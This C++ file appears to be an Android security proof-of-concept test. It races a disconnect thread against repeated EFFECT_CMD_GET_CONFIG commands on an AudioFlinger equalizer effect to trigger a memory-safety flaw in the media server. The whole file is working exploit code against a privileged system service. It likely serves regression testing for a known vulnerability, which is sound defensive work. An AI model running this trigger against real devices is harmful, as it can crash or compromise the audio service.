1 /**
2  * Copyright (C) 2018 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 #include <sys/types.h>
17 #include <sys/wait.h>
18 #include <stdlib.h>
19 
20 #include <android/media/BnEffectClient.h>
21 #include <android/media/IEffect.h>
22 #include <android/content/AttributionSourceState.h>
23 #include <hardware/audio_effect.h>
24 #include <media/AidlConversion.h>
25 #include <media/AudioSystem.h>
26 #include <media/IAudioFlinger.h>
27 
28 using namespace android;
29 using media::IEffect;
30 
31 struct EffectClient : public media::BnEffectClient {
EffectClientEffectClient32   EffectClient() {}
controlStatusChangedEffectClient33   virtual binder::Status controlStatusChanged(bool controlGranted __unused) {
34     return binder::Status::ok();
35   }
36 
enableStatusChangedEffectClient37   virtual binder::Status enableStatusChanged(bool enabled __unused) {
38     return binder::Status::ok();
39   }
40 
commandExecutedEffectClient41   virtual binder::Status commandExecuted(int32_t cmdCode __unused,
42       const std::vector<uint8_t>& cmdData __unused,
43       const std::vector<uint8_t>& replyData __unused) {
44     return binder::Status::ok();
45   }
46 
framesProcessedEffectClient47   virtual binder::Status framesProcessed(int32_t frames __unused) override {
48       return binder::Status::ok();
49   }
50 };
51 
52 sp<IEffect> gEffect;
53 
disconnectThread(void *)54 void *disconnectThread(void *) {
55   usleep(5);
56   if (gEffect != NULL && gEffect.get() != NULL) {
57     gEffect->disconnect();
58   }
59   return NULL;
60 }
61 
main()62 int main() {
63   static const effect_uuid_t EFFECT_UIID_EQUALIZER = {
64       0x0bed4300, 0xddd6, 0x11db, 0x8f34, {0x00, 0x02, 0xa5, 0xd5, 0xc5, 0x1b}};
65 
66   effect_descriptor_t descriptor;
67   memset(&descriptor, 0, sizeof(descriptor));
68   descriptor.type = EFFECT_UIID_EQUALIZER;
69   descriptor.uuid = *EFFECT_UUID_NULL;
70   sp<EffectClient> effectClient(new EffectClient());
71 
72   const int32_t priority = 0;
73   audio_session_t sessionId = (audio_session_t)(128);
74   const audio_io_handle_t io = AUDIO_IO_HANDLE_NONE;
75   const std::string opPackageName("com.exp.poc");
76   int32_t id;
77   int i, enabled;
78   status_t err;
79 
80   std::vector<uint8_t> cmdData;
81   std::vector<uint8_t> replyData;
82 
83   gEffect = NULL;
84   pthread_t pt;
85   const sp<IAudioFlinger> &audioFlinger = AudioSystem::get_audio_flinger();
86   AudioDeviceTypeAddr device;
87   android::content::AttributionSourceState attributionSource;
88   attributionSource.packageName = opPackageName;
89   attributionSource.pid = VALUE_OR_RETURN_STATUS(legacy2aidl_pid_t_int32_t(getpid()));
90 
91   for (i=0; i<100; i++) {
92     media::CreateEffectRequest request;
93     request.desc = VALUE_OR_RETURN_STATUS(
94             legacy2aidl_effect_descriptor_t_EffectDescriptor(descriptor));
95     request.client = effectClient;
96     request.priority = priority;
97     request.output = VALUE_OR_RETURN_STATUS(legacy2aidl_audio_io_handle_t_int32_t(io));
98     request.sessionId = VALUE_OR_RETURN_STATUS(legacy2aidl_audio_session_t_int32_t(sessionId));
99     request.device = VALUE_OR_RETURN_STATUS(legacy2aidl_AudioDeviceTypeAddress(device));
100     request.attributionSource = attributionSource;
101     request.probe = false;
102 
103     media::CreateEffectResponse response;
104 
105     err = audioFlinger->createEffect(request, &response);
106 
107     if (err == OK) {
108         id = response.id;
109         enabled = response.enabled;
110         gEffect = response.effect;
111         descriptor = VALUE_OR_RETURN_STATUS(
112                 aidl2legacy_EffectDescriptor_effect_descriptor_t(response.desc));
113     }
114 
115     if (gEffect == NULL || err != NO_ERROR) {
116       return -1;
117     }
118     pthread_create(&pt, NULL, disconnectThread, NULL);
119     binder::Status status = gEffect->command(EFFECT_CMD_GET_CONFIG, cmdData,
120                                              sizeof(effect_config_t),
121                                              &replyData, &err);
122     if (!status.isOk()) {
123       err = status.transactionError();
124     }
125     usleep(50);
126   }
127   sleep(2);
128   return 0;
129 }
130